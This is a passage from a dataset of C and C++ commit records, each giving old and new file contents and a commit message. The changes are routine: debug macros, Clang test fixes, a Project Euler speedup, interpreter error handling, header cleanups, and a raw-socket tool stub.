NSLog(@\"%s %s=%@ %s=%@\", __func__, #x1, (x1), #x2, (x2));    \\\n} while (0)\n\n#define SRPROBE3(x1, x2, x3) do {                                  \\\n    NSLog(@\"%s %s=%@ %s=%@ %s=%@\", __func__, #x1, (x1), #x2, (x2), #x3, (x3));    \\\n} while (0)\n\n#define SRDEBUG if (1) NSLog\n\n#endif \/* SRDebug_h *\/\n","subject":"Add 1 more macro for debugging 3 things.","message":"Add 1 more macro for debugging 3 things.\n","lang":"C","license":"bsd-2-clause","repos":"wkoszek\/sensorama-ios,wkoszek\/sensorama-ios,wkoszek\/sensorama-ios,wkoszek\/sensorama-ios"}
{"commit":"971cf68f266f58f63b0b260b7f3a363d2f111cd6","old_file":"test\/Sema\/pragma-section-invalid.c","new_file":"test\/Sema\/pragma-section-invalid.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -verify -fms-extensions %s -triple x86_64-apple-darwin\n\n\/\/ expected-error@+1 {{argument to 'section' attribute is not valid for this target: mach-o section specifier requires a segment and section separated by a comma}}\n#pragma data_seg(\".my_const\")\nint a = 1;\n#pragma data_seg(\"__THINGY,thingy\")\nint b = 1;\n","subject":"Add test intended for commit in r231317","message":"Add test intended for commit in r231317\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@233866 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"2e8abb7a804ed24013202b53784c31f7e1131429","old_file":"c_solutions_31-40\/Euler_31.c","new_file":"c_solutions_31-40\/Euler_31.c","old_contents":"#include <stdio.h>\n\n#define CAP 8\n\nconst int currency[CAP] = {1, 2, 5, 10, 20, 50, 100, 200};\nint total[CAP] =          {0, 0, 0,  0,  0,  0,   0,   0};\n\nconst int limit = 200;\n\n\nstatic inline int calculate_total(void)\n{\n    int sum = 0;\n\n    for (int i=0; i < CAP; i++) \n        sum += total[i];\n\n    return sum;\n}\n\nint main(int argc, char *argv[])\n{\n    int ways = 0;\n    int idx = 0;\n\n    while (total[idx] <= limit && (idx != CAP)) {\n\n        total[idx] += currency[idx];\n        int sum = calculate_total();\n\n        if (sum == limit)\n            ways++;\n\n        if (total[idx] < limit)\n            idx = 0;\n        else if (total[idx] >= limit) {\n            total[idx] = 0;\n            idx++;\n        } \n    }\n\n    printf(\"Answer: %d\\n\", ways);\n\n    return 0;\n}\n\n\n","new_contents":"#include <stdio.h>\n\n#define CAP 8\n\nconst int currency[CAP] = {1, 2, 5, 10, 20, 50, 100, 200};\nint total[CAP] =          {0, 0, 0,  0,  0,  0,   0,   0};\n\nconst int limit = 200;\n\n\nstatic inline int calculate_total(void)\n{\n    int sum = 0;\n\n    for (int i=0; i < CAP; i++) \n        sum += total[i];\n\n    return sum;\n}\n\nint main(int argc, char *argv[])\n{\n    int ways = 0;\n    int idx = 0;\n\n    while (total[idx] <= limit && (idx != CAP)) {\n\n        total[idx] += currency[idx];\n        int sum = calculate_total();\n\n        if (sum < limit)\n            idx = 0;\n        else {\n            if (sum == limit)\n                ways++;\n            total[idx] = 0;\n            idx++;\n        } \n    }\n\n    printf(\"Answer: %d\\n\", ways);\n\n    return 0;\n}\n\n\n","subject":"Check against sum, 30 second improvement","message":"Check against sum, 30 second improvement\n","lang":"C","license":"mit","repos":"tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler"}
{"commit":"53cd39088decb09998153455d9b00938115a322e","old_file":"src\/brainfuck-interpreter.c","new_file":"src\/brainfuck-interpreter.c","old_contents":"\/*\n * A simple Brainfuck interpreter.\n *\n * This file was written by Damien Dart, <damiendart@pobox.com>. This is free\n * and unencumbered software released into the public domain. For more\n * information, please refer to the accompanying \"UNLICENCE\" file.\n*\/\n\n#include <errno.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"brainfuck.h\"\n\nint main(void)\n{\n  char character = 0;\n  char *commands = NULL;\n  uint32_t number_of_commands = 0;\n  while((character = getchar()) != EOF) {\n    if ((character == '>') || (character == '<') || (character == '+') ||\n        (character == '-') || (character == '.') || (character == ',') ||\n        (character == '[') || (character == ']')) {\n      char *temp = realloc(commands, ++number_of_commands * sizeof(char));\n      if (temp == NULL) {\n        free(commands);\n        perror(\"Unable to create command list\");\n        exit(EXIT_FAILURE);\n      }\n      commands = temp;\n      commands[number_of_commands - 1] = character;\n    }\n  }\n  commands = realloc(commands, ++number_of_commands * sizeof(char));\n  commands[number_of_commands - 1] = '\\0';\n  brainfuck_evaluate(commands);\n  free(commands);\n  return EXIT_SUCCESS;\n}\n","new_contents":"\/*\n * A simple Brainfuck interpreter.\n *\n * This file was written by Damien Dart, <damiendart@pobox.com>. This is free\n * and unencumbered software released into the public domain. For more\n * information, please refer to the accompanying \"UNLICENCE\" file.\n*\/\n\n#include <errno.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"brainfuck.h\"\n\nvoid *realloc2(void *, size_t);\n\nint main(void)\n{\n  char character = 0;\n  char *commands = NULL;\n  uint32_t number_of_commands = 0;\n  while((character = getchar()) != EOF) {\n    commands = realloc2(commands, ++number_of_commands * sizeof(char));\n    commands[number_of_commands - 1] = character;\n  }\n  commands = realloc2(commands, ++number_of_commands * sizeof(char));\n  commands[number_of_commands - 1] = '\\0';\n  brainfuck_evaluate(commands);\n  free(commands);\n  return EXIT_SUCCESS;\n}\n\nvoid *realloc2(void *ptr, size_t size)\n{\n  char *new_obj = realloc(ptr, size);\n  if (new_obj == NULL) {\n    free(ptr);\n    strerror(errno);\n    exit(EXIT_FAILURE);\n  }\n  return new_obj;\n}\n","subject":"Handle instances when \"realloc()\" fails.","message":"Handle instances when \"realloc()\" fails.\n","lang":"C","license":"unlicense","repos":"damiendart\/brainfuck"}
{"commit":"674f0d242855b8f901dd29b6fe077aafc67593e4","old_file":"src\/qt\/bitcoinaddressvalidator.h","new_file":"src\/qt\/bitcoinaddressvalidator.h","old_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base48 entry widget validator.\n   Corrects near-miss characters and refuses characters that are no part of base48.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","new_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base58 entry widget validator.\n   Corrects near-miss characters and refuses characters that are not part of base58.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","subject":"Fix typo in a comment: it's base58, not base48.","message":"Fix typo in a comment: it's base58, not base48.\n","lang":"C","license":"mit","repos":"syscoin\/syscoin,Crowndev\/crowncoin,Infernoman\/crowncoin,domob1812\/crowncoin,Infernoman\/crowncoin,Infernoman\/crowncoin,domob1812\/crowncoin,Infernoman\/crowncoin,syscoin\/syscoin,Infernoman\/crowncoin,syscoin\/syscoin,domob1812\/crowncoin,Crowndev\/crowncoin,Crowndev\/crowncoin,domob1812\/crowncoin,Crowndev\/crowncoin,syscoin\/syscoin,Crowndev\/crowncoin,Infernoman\/crowncoin,domob1812\/crowncoin,syscoin\/syscoin,domob1812\/crowncoin,Crowndev\/crowncoin,syscoin\/syscoin,syscoin\/syscoin,syscoin\/syscoin"}
{"commit":"db769b79cf99203a93c441bcfe98c993aa0ca3b5","old_file":"Sources\/Cinput\/input.c","new_file":"Sources\/Cinput\/input.c","old_contents":"#include \"input.h\"\n\ninline int input_event_get_sec(struct input_event event) {\n    return event.input_event_sec;\n}\n\ninline int input_event_get_usec(struct input_event event) {\n    return event.input_event_usec;\n}\n","new_contents":"#include \"input.h\"\n\ninline int input_event_get_sec(struct input_event event) {\n#ifdef input_event_sec\n    return event.input_event_sec;\n#else\n    return event.time.tv_sec\n#endif\n}\n\ninline int input_event_get_usec(struct input_event event) {\n#ifdef input_event_usec\n    return event.input_event_usec;\n#else\n    return event.time.tv_usec\n#endif\n}\n","subject":"Fix compilation on older linux kernels","message":"Fix compilation on older linux kernels\n","lang":"C","license":"apache-2.0","repos":"sersoft-gmbh\/DeviceInput,sersoft-gmbh\/DeviceInput"}
{"commit":"84b255f9771bd80788195c5b702761ee42ca5f2f","old_file":"bindings\/ocaml\/transforms\/utils\/transform_utils_ocaml.c","new_file":"bindings\/ocaml\/transforms\/utils\/transform_utils_ocaml.c","old_contents":"\/*===-- vectorize_ocaml.c - LLVM OCaml Glue ---------------------*- C++ -*-===*\\\n|*                                                                            *|\n|*                     The LLVM Compiler Infrastructure                       *|\n|*                                                                            *|\n|* This file is distributed under the University of Illinois Open Source      *|\n|* License. See LICENSE.TXT for details.                                      *|\n|*                                                                            *|\n|*===----------------------------------------------------------------------===*|\n|*                                                                            *|\n|* This file glues LLVM's OCaml interface to its C interface. These functions *|\n|* are by and large transparent wrappers to the corresponding C functions.    *|\n|*                                                                            *|\n|* Note that these functions intentionally take liberties with the CAMLparamX *|\n|* macros, since most of the parameters are not GC heap objects.              *|\n|*                                                                            *|\n\\*===----------------------------------------------------------------------===*\/\n\n#include \"llvm-c\/Core.h\"\n#include \"caml\/mlvalues.h\"\n#include \"caml\/misc.h\"\n\n\/*\n * Do not move directly into external. This function is here to pull in\n * -lLLVMTransformUtils, which would otherwise be not linked on static builds,\n * as ld can't see the reference from OCaml code.\n *\/\n\n\/* llmodule -> llmodule *\/\nCAMLprim LLVMModuleRef llvm_clone_module(LLVMModuleRef M) {\n  return LLVMCloneModule(M);\n}\n","new_contents":"\/*===-- transform_utils_ocaml.c - LLVM OCaml Glue ---------------*- C++ -*-===*\\\n|*                                                                            *|\n|*                     The LLVM Compiler Infrastructure                       *|\n|*                                                                            *|\n|* This file is distributed under the University of Illinois Open Source      *|\n|* License. See LICENSE.TXT for details.                                      *|\n|*                                                                            *|\n|*===----------------------------------------------------------------------===*|\n|*                                                                            *|\n|* This file glues LLVM's OCaml interface to its C interface. These functions *|\n|* are by and large transparent wrappers to the corresponding C functions.    *|\n|*                                                                            *|\n|* Note that these functions intentionally take liberties with the CAMLparamX *|\n|* macros, since most of the parameters are not GC heap objects.              *|\n|*                                                                            *|\n\\*===----------------------------------------------------------------------===*\/\n\n#include \"llvm-c\/Core.h\"\n#include \"caml\/mlvalues.h\"\n#include \"caml\/misc.h\"\n\n\/*\n * Do not move directly into external. This function is here to pull in\n * -lLLVMTransformUtils, which would otherwise be not linked on static builds,\n * as ld can't see the reference from OCaml code.\n *\/\n\n\/* llmodule -> llmodule *\/\nCAMLprim LLVMModuleRef llvm_clone_module(LLVMModuleRef M) {\n  return LLVMCloneModule(M);\n}\n","subject":"Fix copy paste error in file header","message":"[NFC][OCaml] Fix copy paste error in file header\n\nSummary: Just copypasta resulting in the wrong file name in the header.\n\nReviewers: whitequark\n\nReviewed By: whitequark\n\nSubscribers: llvm-commits\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D52215\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@342437 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm"}
{"commit":"0ac74df81c5ca4213f8d7acbc0fb30c64cde06d3","old_file":"chrome\/browser\/extensions\/extension_management_api_constants.h","new_file":"chrome\/browser\/extensions\/extension_management_api_constants.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n#define CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n#pragma once\n\nnamespace extension_management_api_constants {\n\n\/\/ Keys used for incoming arguments and outgoing JSON data.\nextern const char kAppLaunchUrlKey[];\nextern const char kDescriptionKey[];\nextern const char kEnabledKey[];\nextern const char kDisabledReasonKey[];\nextern const char kHomepageUrlKey[];\nextern const char kHostPermissionsKey[];\nextern const char kIconsKey[];\nextern const char kIdKey[];\nextern const char kIsAppKey[];\nextern const char kNameKey[];\nextern const char kOfflineEnabledKey[];\nextern const char kOptionsUrlKey[];\nextern const char kPermissionsKey[];\nextern const char kMayDisableKey[];\nextern const char kSizeKey[];\nextern const char kUpdateUrlKey[];\nextern const char kUrlKey[];\nextern const char kVersionKey[];\n\n\/\/ Values for outgoing JSON data.\nextern const char kDisabledReasonPermissionsIncrease[];\nextern const char kDisabledReasonUnknown[];\n\n\/\/ Error messages.\nextern const char kExtensionCreateError[];\nextern const char kGestureNeededForEscalationError[];\nextern const char kManifestParseError[];\nextern const char kNoExtensionError[];\nextern const char kNotAnAppError[];\nextern const char kUserCantDisableError[];\nextern const char kUserDidNotReEnableError[];\n\n}  \/\/ namespace extension_management_api_constants\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n#define CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n#pragma once\n\nnamespace extension_management_api_constants {\n\n\/\/ Keys used for incoming arguments and outgoing JSON data.\nextern const char kAppLaunchUrlKey[];\nextern const char kDisabledReasonKey[];\nextern const char kHostPermissionsKey[];\nextern const char kIconsKey[];\nextern const char kIsAppKey[];\nextern const char kPermissionsKey[];\nextern const char kSizeKey[];\nextern const char kUpdateUrlKey[];\nextern const char kUrlKey[];\n\n\/\/ Values for outgoing JSON data.\nextern const char kDisabledReasonPermissionsIncrease[];\nextern const char kDisabledReasonUnknown[];\n\n\/\/ Error messages.\nextern const char kExtensionCreateError[];\nextern const char kGestureNeededForEscalationError[];\nextern const char kManifestParseError[];\nextern const char kNoExtensionError[];\nextern const char kNotAnAppError[];\nextern const char kUserCantDisableError[];\nextern const char kUserDidNotReEnableError[];\n\n}  \/\/ namespace extension_management_api_constants\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n","subject":"Remove leftover constant declarations accidentally left behind by a previous patch.","message":"Remove leftover constant declarations accidentally left behind by a previous patch.\n\nBUG=119692\nTEST=compile succeeds\nReview URL: https:\/\/chromiumcodereview.appspot.com\/9903017\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@129799 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"adobe\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium"}
{"commit":"d95464df6f28ca4290a0d90f7fe45caca7a3ecf7","old_file":"misc\/clortho.c","new_file":"misc\/clortho.c","old_contents":"","new_contents":"\/* Copyright 2019 Lenovo *\/\n#include <arpa\/inet.h>\n#include <crypt.h>\n#include <net\/if.h>\n#include <sys\/socket.h>\n#include <stdio.h>\n#include <sys\/ioctl.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define OUI_ETHERTYPE 0x88b7\n#define MAXPACKET 1024\n#define CHDR \"\\xa4\\x8c\\xdb\\x30\\x01\"\n\nint get_interface_index(int sock, char *interface) {\n        struct ifreq req;\n        memset(&req, 0, sizeof(req));\n        strncpy(req.ifr_name, interface, IFNAMSIZ);\n        if (ioctl(sock, SIOCGIFINDEX, &req) < 0) {\n                return -1;\n        }\n        return req.ifr_ifindex;\n}\n\nunsigned char* genpasswd() {\n        unsigned char * passwd;\n        int urandom;\n        passwd = calloc(33, sizeof(char));\n        urandom = open(\"\/dev\/urandom\", O_RDONLY);\n        read(urandom, passwd, 32);\n        close(urandom);\n        for (urandom = 0; urandom < 32; urandom++) {\n                passwd[urandom] = 0x30 + (passwd[urandom] >> 2);\n        }\n        return passwd;\n\n}\n\nint parse_macaddr(char* macaddr) {\n        unsigned char *curr;\n        unsigned char idx;\n        curr = strtok(macaddr, \":-\");\n        idx = 0;\n\n        while (curr != NULL) {\n                macaddr[idx++] = strtoul(curr, NULL, 16);\n                curr = strtok(NULL, \":-\");\n        }\n\n}\n\nint main(int argc, char* argv[]) {\n        int sock;\n        int iface;\n        unsigned char* passwd;\n        unsigned char* macaddr;\n\n        unsigned char buffer[MAXPACKET];\n\n        passwd = genpasswd();\n        if (argc < 3) { \n            fprintf(stderr, \"Missing interface name and target MAC\\n\");\n            exit(1);\n        }\n        printf(\"%s\\n\", argv[2]);\n        parse_macaddr(argv[2]);\n        printf(\"%s\\n\", argv[2]);\n        sock = socket(AF_PACKET, SOCK_DGRAM, htons(OUI_ETHERTYPE));\n        if (sock < 0) {\n                fprintf(stderr, \"Unable to open socket (run as root?)\\n\");\n                exit(1);\n        }\n        iface = get_interface_index(sock, argv[1]);\n        if (iface < 0) {\n                fprintf(stderr, \"Unable to find specified interface '%s'\\n\", argv[1]);\n                exit(1);\n        }\n\n\n}\n\n","subject":"Add a non-ip network string xmit concept","message":"Add a non-ip network string xmit concept\n","lang":"C","license":"apache-2.0","repos":"jjohnson42\/confluent,xcat2\/confluent,xcat2\/confluent,xcat2\/confluent,xcat2\/confluent,xcat2\/confluent,jjohnson42\/confluent,jjohnson42\/confluent,jjohnson42\/confluent,jjohnson42\/confluent"}
{"commit":"7343eabc6b4054b7ca2f4455361d5f891f482626","old_file":"test\/Driver\/metadata-with-dots.c","new_file":"test\/Driver\/metadata-with-dots.c","old_contents":"\/\/ REQUIRES: shell\n\/\/ RUN: mkdir -p out.dir\n\/\/ RUN: cat %s > out.dir\/test.c\n\/\/ RUN: %clang -E -MMD %s -o out.dir\/test\n\/\/ RUN: test ! -f %out.d\n\/\/ RUN: test -f out.dir\/test.d\n\/\/ RUN: rm -rf out.dir\/test.d out.dir\/ out.d\nint main (void)\n{\n    return 0;\n}\n","new_contents":"\/\/ REQUIRES: shell\n\/\/ RUN: mkdir -p %t\/out.dir\n\/\/ RUN: cat %s > %t\/out.dir\/test.c\n\/\/ RUN: %clang -E -MMD %s -o %t\/out.dir\/test\n\/\/ RUN: test ! -f %out.d\n\/\/ RUN: test -f %t\/out.dir\/test.d\n\/\/ RUN: rm -rf %t\/out.dir\/test.d %t\/out.dir\/ out.d\nint main (void)\n{\n    return 0;\n}\n","subject":"Fix test to use %t for newly created files.","message":"Fix test to use %t for newly created files.\n\nThis is both for consistency with other `mkdir`s in tests, and\nfixing permission issues with the non-temporary cwd during testing (they\nare not always writable).\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@371897 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"451e969f77d183784c56eea304a336fc0234860d","old_file":"test2\/tenative\/multi_dimension.c","new_file":"test2\/tenative\/multi_dimension.c","old_contents":"","new_contents":"\/\/ RUN: %ucc -fsyntax-only %s\n\nint a[][2];\n\nint main()\n{\n\ta[0][0] = 3;\n\t\/* this tests a bug where the above assignment would attempt to check integer\n\t * promotions (on a dereference of an array in the LHS), and attempt to find\n\t * the size of `a` before it had been completed. integer promotions are now\n\t * handled properly *\/\n}\n","subject":"Test incomplete tenative multi-dimension expressions","message":"Test incomplete tenative multi-dimension expressions\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"e9568c12ccd1390854b4a700dcfaaa2cbf342e91","old_file":"cpp\/codearea.h","new_file":"cpp\/codearea.h","old_contents":"#ifndef LOCATION_OPENLOCATIONCODE_CODEAREA_H_\n#define LOCATION_OPENLOCATIONCODE_CODEAREA_H_\n\n#include <cstdlib>\n\nnamespace openlocationcode {\n\nstruct LatLng {\n  double latitude;\n  double longitude;\n};\n\nclass CodeArea {\n public:\n  CodeArea(double latitude_lo, double longitude_lo, double latitude_hi,\n           double longitude_hi, size_t code_length);\n  double GetLatitudeLo() const;\n  double GetLongitudeLo() const;\n  double GetLatitudeHi() const;\n  double GetLongitudeHi() const;\n  size_t GetCodeLength() const;\n  LatLng GetCenter() const;\n\n private:\n  double latitude_lo_;\n  double longitude_lo_;\n  double latitude_hi_;\n  double longitude_hi_;\n  size_t code_length_;\n};\n\n} \/\/ namespace openlocationcode\n\n#endif  \/\/ LOCATION_OPENLOCATIONCODE_CODEAREA_H_","new_contents":"#ifndef LOCATION_OPENLOCATIONCODE_CODEAREA_H_\n#define LOCATION_OPENLOCATIONCODE_CODEAREA_H_\n\n#include <cstdlib>\n\nnamespace openlocationcode {\n\nstruct LatLng {\n  double latitude;\n  double longitude;\n};\n\nclass CodeArea {\n public:\n  CodeArea(double latitude_lo, double longitude_lo, double latitude_hi,\n           double longitude_hi, size_t code_length);\n  double GetLatitudeLo() const;\n  double GetLongitudeLo() const;\n  double GetLatitudeHi() const;\n  double GetLongitudeHi() const;\n  size_t GetCodeLength() const;\n  LatLng GetCenter() const;\n\n private:\n  double latitude_lo_;\n  double longitude_lo_;\n  double latitude_hi_;\n  double longitude_hi_;\n  size_t code_length_;\n};\n\n} \/\/ namespace openlocationcode\n\n#endif  \/\/ LOCATION_OPENLOCATIONCODE_CODEAREA_H_\n","subject":"Add newline to remove compiler warning.","message":"Add newline to remove compiler warning.\n\nAs some projects treat warnings as errors.","lang":"C","license":"apache-2.0","repos":"bocops\/open-location-code,google\/open-location-code,google\/open-location-code,zongweil\/open-location-code,zongweil\/open-location-code,bocops\/open-location-code,bocops\/open-location-code,zongweil\/open-location-code,google\/open-location-code,google\/open-location-code,bocops\/open-location-code,bocops\/open-location-code,google\/open-location-code,zongweil\/open-location-code,bocops\/open-location-code,google\/open-location-code,zongweil\/open-location-code,bocops\/open-location-code,bocops\/open-location-code,bocops\/open-location-code,google\/open-location-code,zongweil\/open-location-code,google\/open-location-code,google\/open-location-code,zongweil\/open-location-code,google\/open-location-code,zongweil\/open-location-code,zongweil\/open-location-code,google\/open-location-code,zongweil\/open-location-code,bocops\/open-location-code,bocops\/open-location-code,zongweil\/open-location-code"}
{"commit":"4b87142aba52c76ff9ed7c9c2fe0067bd935a2f4","old_file":"test\/CodeGen\/x86_64-arguments.c","new_file":"test\/CodeGen\/x86_64-arguments.c","old_contents":"\/\/ RUN: clang -triple x86_64-unknown-unknown -emit-llvm -o %t %s &&\n\/\/ RUN: grep 'define signext i8 @f0()' %t &&\n\/\/ RUN: grep 'define signext i16 @f1()' %t &&\n\/\/ RUN: grep 'define i32 @f2()' %t &&\n\/\/ RUN: grep 'define float @f3()' %t &&\n\/\/ RUN: grep 'define double @f4()' %t &&\n\/\/ RUN: grep 'define x86_fp80 @f5()' %t &&\n\/\/ RUN: grep 'define void @f6(i8 signext %a0, i16 signext %a1, i32 %a2, i64 %a3, i8\\* %a4)' %t &&\n\/\/ RUN: grep 'define void @f7(i32 %a0)' %t\n\nchar f0(void) {\n}\n\nshort f1(void) {\n}\n\nint f2(void) {\n}\n\nfloat f3(void) {\n}\n\ndouble f4(void) {\n}\n\nlong double f5(void) {\n}\n\nvoid f6(char a0, short a1, int a2, long long a3, void *a4) {\n}\n\ntypedef enum { A, B, C } E;\n\nvoid f7(E a0) {\n}","new_contents":"\/\/ RUN: clang -triple x86_64-unknown-unknown -emit-llvm -o %t %s &&\n\/\/ RUN: grep 'define signext i8 @f0()' %t &&\n\/\/ RUN: grep 'define signext i16 @f1()' %t &&\n\/\/ RUN: grep 'define i32 @f2()' %t &&\n\/\/ RUN: grep 'define float @f3()' %t &&\n\/\/ RUN: grep 'define double @f4()' %t &&\n\/\/ RUN: grep 'define x86_fp80 @f5()' %t &&\n\/\/ RUN: grep 'define void @f6(i8 signext %a0, i16 signext %a1, i32 %a2, i64 %a3, i8\\* %a4)' %t &&\n\/\/ RUN: grep 'define void @f7(i32 %a0)' %t\n\nchar f0(void) {\n}\n\nshort f1(void) {\n}\n\nint f2(void) {\n}\n\nfloat f3(void) {\n}\n\ndouble f4(void) {\n}\n\nlong double f5(void) {\n}\n\nvoid f6(char a0, short a1, int a2, long long a3, void *a4) {\n}\n\ntypedef enum { A, B, C } E;\n\nvoid f7(E a0) {\n}\n","subject":"Add end of line at end.","message":"Add end of line at end.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@65557 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"a89c5c9841242970d7ade4f239397ea4131b8646","old_file":"libutil\/include\/xsys.h","new_file":"libutil\/include\/xsys.h","old_contents":"#if !defined(XV6_USER)\n\n#include <sys\/wait.h>\n\n#define xfork() fork()\nstatic inline void xwait()\n{\n  int status;\n  if (wait(&status) < 0)\n    edie(\"wait\");\n  if (!WIFEXITED(status))\n    die(\"bad status %u\", status);\n}\n#define mtenable(x) do { } while(0)\n#define mtenable_type(x, y) do { } while (0)\n#define mtdisable(x) do { } while(0)\n#define xpthread_join(tid) pthread_join(tid, nullptr);\n#define xthread_create(ptr, x, fn, arg) \\\n  pthread_create((ptr), 0, (fn), (arg))\n\n#else \/\/ Must be xv6\n\n#define xfork() fork(0)\n#define xwait() wait(-1)\n#define xpthread_join(tid) wait(tid)\n\n#endif\n","new_contents":"#pragma once\n\n#include \"libutil.h\"\n\n#if !defined(XV6_USER)\n\n#include <sys\/wait.h>\n\n#define xfork() fork()\nstatic inline int xwait()\n{\n  int status;\n  if (wait(&status) < 0)\n    edie(\"wait\");\n  if (!WIFEXITED(status))\n    die(\"bad status %u\", status);\n  return WEXITSTATUS(status);\n}\n#define mtenable(x) do { } while(0)\n#define mtenable_type(x, y) do { } while (0)\n#define mtdisable(x) do { } while(0)\n#define xpthread_join(tid) pthread_join(tid, nullptr);\n#define xthread_create(ptr, x, fn, arg) \\\n  pthread_create((ptr), 0, (fn), (arg))\n\n#else \/\/ Must be xv6\n\nextern \"C\" int wait(int);\n\n#define xfork() fork(0)\nstatic inline int xwait()\n{\n  if (wait(-1) < 0)\n    edie(\"wait\");\n  return 0;\n}\n#define xpthread_join(tid) wait(tid)\n\n#endif\n","subject":"Make xwait return exit status","message":"libutil: Make xwait return exit status\n\nFake a 0 status for xv6.\n","lang":"C","license":"mit","repos":"bowlofstew\/sv6,bowlofstew\/sv6,aclements\/sv6,bowlofstew\/sv6,aclements\/sv6,bowlofstew\/sv6,aclements\/sv6,aclements\/sv6,bowlofstew\/sv6,aclements\/sv6"}
